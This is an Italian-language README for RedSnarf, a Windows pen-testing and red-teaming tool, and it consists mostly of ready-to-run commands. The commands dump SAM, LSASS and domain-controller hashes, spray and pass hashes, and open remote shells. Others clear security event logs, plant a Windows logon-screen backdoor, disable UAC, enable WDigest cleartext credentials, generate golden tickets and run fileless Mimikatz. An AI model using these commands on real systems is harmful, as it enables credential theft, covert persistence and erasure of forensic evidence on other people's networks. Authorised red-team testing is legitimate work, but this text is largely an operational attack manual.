
RedSnarf è uno strumento di pen-testing / red-teaming per ambienti Windows
______ .____________ _____
\______ \ ____ __| _/ _____/ ____ _____ ________/ ____\
| _// __ \ / __ |\_____ \ / \\__ \\_ __ \ __\
| | \ ___// /_/ |/ \ | \/ __ \| | \/| |
|____|_ /\___ >____ /_______ /___| (____ /__| |__|
\/ \/ \/ \/ \/ \/
[email protected]
@redsnarf
RedSnarf è uno strumento di pen-testing / red-teaming creato da Ed Williams per recuperare hash e credenziali da workstation, server e controller di dominio Windows utilizzando tecniche OpSec sicure.
Visita il nostro canale YouTube per i video: https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ
Le funzionalità di RedSnarf includono:
• Recupero degli hash SAM locali
• Enumerazione degli utenti in esecuzione con privilegi elevati di sistema e corrispondenti segreti LSA;
• Recupero delle credenziali memorizzate nella cache di MS;
• Pass-the-hash;
• Identificazione rapida di combinazioni deboli e prevedibili di nome utente/password (predefinito: administrator/Password01);
• Possibilità di recuperare hash su un intervallo di rete;
• Hash spraying –
Credsfile accetta un mix di pwdump, fgdump e nome utente e password in chiaro separati da uno spazio;
• Dump di Lsass per analisi offline con Mimikatz;
• Dump degli hash del controller di dominio utilizzando NTDSUtil e recupero di NTDS.dit per analisi locale;
• Dump degli hash del controller di dominio utilizzando il metodo drsuapi;
• Recupero delle cartelle Scripts e Policies da un controller di dominio e analisi per 'password' e 'administrator';
• Capacità di decifrare hash cpassword;
• Capacità di avviare una shell su una macchina remota;
• Capacità di cancellare i log degli eventi (applicazione, sicurezza, configurazione o sistema); (Solo versione interna)
• I risultati vengono salvati per singolo host per l'analisi.
• Abilitare/Disabilitare RDP su una macchina remota.
• Cambiare la porta RDP da 3389 a 443 su una macchina remota.
• Abilitare/Disabilitare NLA su una macchina remota.
• Trovare dove gli utenti sono connessi su macchine remote.
• Backdoor alla schermata di accesso di Windows.
• Abilitare/Disabilitare UAC su una macchina remota.
• Aggiunta di Mimikatz furtivo.
• Analisi degli hash di dominio.
• Capacità di determinare quali account sono abilitati/disabilitati.
• Acquisire uno screenshot del desktop degli utenti attivi connessi da remoto.
• Registrare il desktop degli utenti attivi connessi da remoto.
• Decifrare CPassword di Windows.
• Decifrare password WinSCP.
• Ottenere SPN degli utenti.
• Recuperare password WiFi da macchine remote.
Requisiti:
Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git
CredDump7 - https://github.com/Neohapsis/creddump7
Recupero di Lsass tramite procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
Netaddr (0.7.12) - pip install netaddr
Termcolor (1.1.0) - pip install termcolor
iconv - utilizzato per l'analisi locale delle informazioni di Mimikatz
Mostra Aiuto
./redsnarf.py -h
./redsnarf.py --help
Recupero hash locali da una singola macchina utilizzando credenziali locali deboli e cancellando il log degli eventi di sicurezza
./redsnarf.py -H ip=10.0.0.50 -uC security
Recupero hash locali da una singola macchina utilizzando credenziali locali deboli e cancellando il log degli eventi dell'applicazione
./redsnarf.py -H ip=10.0.0.50 -uC application
Recupero hash locali da una singola macchina utilizzando credenziali di amministratore locale
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d .
Recupero hash locali da una singola macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com
Recupero hash su un intervallo di rete utilizzando credenziali di amministratore locale
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d .
Recupero hash su un intervallo di rete utilizzando credenziali di amministratore di dominio
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com
Recupero hash su un intervallo di rete utilizzando credenziali di amministratore di dominio
./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com
Spruzzare hash su un intervallo di rete
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d .
Recupero hash su un intervallo di rete con login di dominio
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com
Verifica rapida delle credenziali
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y
Verifica rapida di un file contenente nomi utente (-hS) e una password generica (-hP)
./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y
Recupero hash utilizzando il metodo drsuapi (il più veloce)
Questo metodo supporta un flag opzionale -q y che interrogherà LDAP e indicherà se gli account sono attivi o disabilitati
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y)
Recupero hash utilizzando NTDSUtil
Questo metodo supporta un flag opzionale -q y che interrogherà LDAP e indicherà se gli account sono attivi o disabilitati
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y)
Generazione Golden Ticket
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y
Copia la cartella Policies and Scripts da un controller di dominio e analizza per password e administrator
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y
Decifra CPassword
./redsnarf.py -uG cpassword
Trova Utente - Live
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name
Trova Utente - Offline (cerca nelle informazioni scaricate in precedenza)
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name
Mostra Tasklist di NT AUTHORITY\SYSTEM
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y
Screenshot del Desktop di un Utente Attivo Connesso da Remoto
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y
Avvia una Shell su una macchina utilizzando credenziali di amministratore locale
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y
Avvia una Shell su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y
Recupera una copia di lsass per analisi offline con Mimikatz su una macchina utilizzando credenziali di amministratore locale
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y
Esegui Mimikatz furtivo: questa opzione avvia un server web per servire uno script PowerShell, che viene offuscato e codificato lato macchina; i dati non toccano il disco – le credenziali vengono estratte in uno stile facile da leggere e visualizzate a schermo.
./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y
Esegui Comando Personalizzato
Esempio 1
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user'
Esempio 2 - Le virgolette doppie devono essere escaped con \
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name "domain admins" | dsget group -members -expand'
Criteri del Token di Accesso Locale
Crea un file batch lat.bat che puoi copiare e incollare sulla macchina remota per eseguirlo, modificando il registro e abilitando o disabilitando le impostazioni del criterio del token di accesso locale.
./redsnarf.py -rL y
Wdigest
Abilita il valore di registro UseLogonCredential di Wdigest su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e
Disabilita il valore di registro UseLogonCredential di Wdigest su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d
Interroga il valore di registro UseLogonCredential di Wdigest su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q
UAC
Abilita il valore di registro UAC su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e
Disabilita il valore di registro UAC su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d
Interroga il valore di registro UAC su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q
Backdoor - Schermata di Windows Backdoor - Premi Shift Sinistro + Alt Sinistro + Stamp per attivare
Abilita il valore di registro Backdoor su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e
Disabilita il valore di registro Backdoor su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d
Interroga il valore di registro Backdoor su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q
AutoLogon
Abilita il valore di registro AutoLogon di Windows su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e
Disabilita il valore di registro AutoLogon di Windows su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d
Interroga il valore di registro AutoLogon di Windows su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q
Blocca una sessione utente remota di una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y
Abilita RDP su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e
Disabilita RDP su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d
Interroga lo stato RDP su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q
Cambia la porta RDP da 3389 a 443 - Cambia la porta RDP a 443 su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e
Ripristina la porta RDP al valore predefinito di 3389 su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d
Interroga il valore della porta RDP su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q
Abilita Multi-RDP con Mimikatz
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y
Abilita RDP SingleSessionPerUser su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e
Disabilita RDP SingleSessionPerUser su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d
Interroga lo stato RDP SingleSessionPerUser su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q
Abilita NLA su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e
Disabilita NLA su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d
Interroga lo stato NLA su una macchina utilizzando credenziali di amministratore di dominio
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q